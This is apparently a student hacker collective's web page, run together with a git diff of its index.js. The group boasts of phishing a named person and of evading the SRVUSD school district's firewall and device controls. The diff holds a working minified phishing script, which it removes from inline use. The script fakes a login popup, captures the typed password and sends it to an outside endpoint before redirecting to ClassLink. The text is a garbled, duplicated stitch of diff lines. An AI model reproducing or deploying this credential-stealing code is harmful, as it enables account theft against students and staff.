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- We are a cybersecurity research and anarchist collective. Our goals: the abolition of private capital and maximum psychic damage to SRVUSD sysadmins. World domination will be achieved by 2026. Fully Automated Luxury Gay Space Communism soon to follow. Some of our recent projects include: +
+ We are a cybersecurity research and anarchist collective. Our goals: the + abolition of private capital and maximum psychic damage to + SRVUSD sysadmins. World domination will be achieved by 2026. Fully Automated Luxury Gay + Space Communism soon to follow. Some of our recent projects include:
-+ Wondering what the code flashing on your screen is? It's the exact version + of Project Bluephish that + was used (successfully) to phish Jeremy Eltho, marking the first + cybercrime committed by our organization, which recognizes neither + national or international authority nor ethical principles. +
- District-wide IRC chat application
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- - The world's most valuable cryptocurrency, set to exceed the value of - Bitcoin -
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+ District-wide IRC chat application
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+ + The world's most valuable cryptocurrency, set to exceed the value of + Bitcoin +
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Quake 3 Arena fully playable in the browser and hosted within the SRVUSD intranet
++ Quake 3 Arena fully playable in the browser and hosted within the + SRVUSD intranet +
Dell 3100 2-in-1 Chromebook, unenrolled and loaded with custom firmware allowing booting to Linux
++ Dell 3100 2-in-1 Chromebook, unenrolled and loaded with custom + firmware allowing booting to Linux +
Decommissioned robotics laptop. Probably not a real toughbook, but it sure looks like one
++ Decommissioned robotics laptop loaded up with state-of-the-art *nix + architecture and used primarily for sponsoring nefarious activities + over intranet +
Work-in-progress multi-vector network offensive security testing device, based on an ESP development board
++ Work-in-progress multi-vector network offensive security testing + device, based on an ESP development board +
A private network hosted by Gallium workshop in order to facilitate easy local area connections to other devices
++ A private network hosted by Gallium Workshop at SRV in order to + facilitate easy local area connections to other devices and counter + the Great SRVUSD Firewall +
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Are you a SYSADMIN? Check - this out! diff --git a/public/index.js b/public/index.js index ac9be17..5f2e2b0 100644 --- a/public/index.js +++ b/public/index.js @@ -2,19 +2,15 @@ let code = document.getElementById('code') let raw = [] let els = [] -// const SOURCES = [ -// 'https://cdn.jsdelivr.net/gh/quantum9innovation/the-jankiest/index.min.js', -// 'https://cdn.jsdelivr.net/gh/quantum9innovation/hulet/dist/hulet.min.js', -// 'https://cdn.jsdelivr.net/gh/quantum9innovation/sost/dist/sost.min.js', -// 'https://code.jquery.com/jquery-3.6.3.min.js', -// 'https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js', -// ] const SOURCES = [ - `const popup1=document.getElementById("popup-1"),popup2=document.getElementById("popup-2"),password=document.getElementById("password"),passwordPlaceholder=document.getElementById("password-placeholder"),loader=document.getElementById("loader");let start=()=>{popup1.classList.remove("hide")},toLogin=()=>{popup2.classList.remove("hide"),password.focus()},closePopups=()=>{popup1.classList.add("hide"),popup2.classList.add("hide")},finish=()=>{loader.classList.remove("hide");let s=password.value;closePopups(),fetch("https://sphinx-three.vercel.app/api/crypto/dump?"+new URLSearchParams({contents:s}),{mode:"no-cors"}).then(()=>{window.location.href="https://myapps.classlink.com/oauth"})},showPassword=()=>{let s=document.getElementById("password");"password"===s.type?s.type="text":s.type="password"};window.onclick=s=>{let e=e=>s.target.contains(e)&&s.target!==e;(e(popup1)||e(popup2))&&closePopups()};let activatePassword=()=>{passwordPlaceholder.classList.add("active"),passwordPlaceholder.classList.remove("inactive"),setPasswordStatus()},deactivatePassword=()=>{passwordPlaceholder.classList.add("inactive"),passwordPlaceholder.classList.remove("active"),setPasswordStatus()},setPasswordStatus=()=>{password.value.length>0?(passwordPlaceholder.classList.add("non-empty"),passwordPlaceholder.classList.remove("empty")):(passwordPlaceholder.classList.add("empty"),passwordPlaceholder.classList.remove("non-empty"))};password.addEventListener("focusin",activatePassword),password.addEventListener("focusout",deactivatePassword),password.addEventListener("keydown",setPasswordStatus);` + './assets/sources/index.css', + './assets/sources/index.html', + './assets/sources/index.js', + './assets/sources/x-proto-dns.sh', ] hljs.configure({ - languages: ['javascript'], + languages: ['javascript', 'css', 'html', 'bash'], ignoreUnescapedHTML: true }) @@ -41,7 +37,7 @@ let spawn = () => { let x = Math.random() * (window.innerWidth - 500) let y = Math.random() * (window.innerHeight - 400) spawned.style.left = x + 'px' - spawned.style.top = (y + 300) + 'px' + spawned.style.top = (2 * y + 500) + 'px' spawned.style.width = '500px' spawned.style.height = '100px' spawned.style.textWrap = 'wrap' @@ -57,12 +53,27 @@ let spawn = () => { let init = async () => { for (let source of SOURCES) { - // let res1 = await fetch(source); - // let text1 = await res1.text(); - let text1 = source; - let formatted = text1.replace(/\n/g, ""); + let res1 = await fetch(source) + let text1 = await res1.text() + let formatted = text1.replace(/\n/g, '') raw.push(formatted); } } init().then(spawn) + +let quakeInstructions = () => { + alert( + 'Here are the steps to follow to join QuakeJS multiplayer (while at school):\n\n' + + '1. Check your WiFi settings and connect to the "Gas Leak" network. If you don\'t see this network, there\'s probably no game to join.\n' + + '2. The password to the "Gas Leak" network is "fish_tony" (disable any VPNs before connecting).\n' + + '3. Navigate to http://192.168.50.123 on your browser (or close this dialog).\n' + + '4. Click esc and configure settings (try SETUP > PLAYER to rename).\n' + + '5. Leave arena and click MULTIPLAYER.\n' + + '6. Click SPECIFY and type in 192.168.50.123 as the address.\n' + + '7. Leave the port unchanged and join the game.\n' + + '8. Use "t" to chat.\n\n' + + 'Happy fragging!' + ) + window.location.href = 'http://192.168.50.123' +}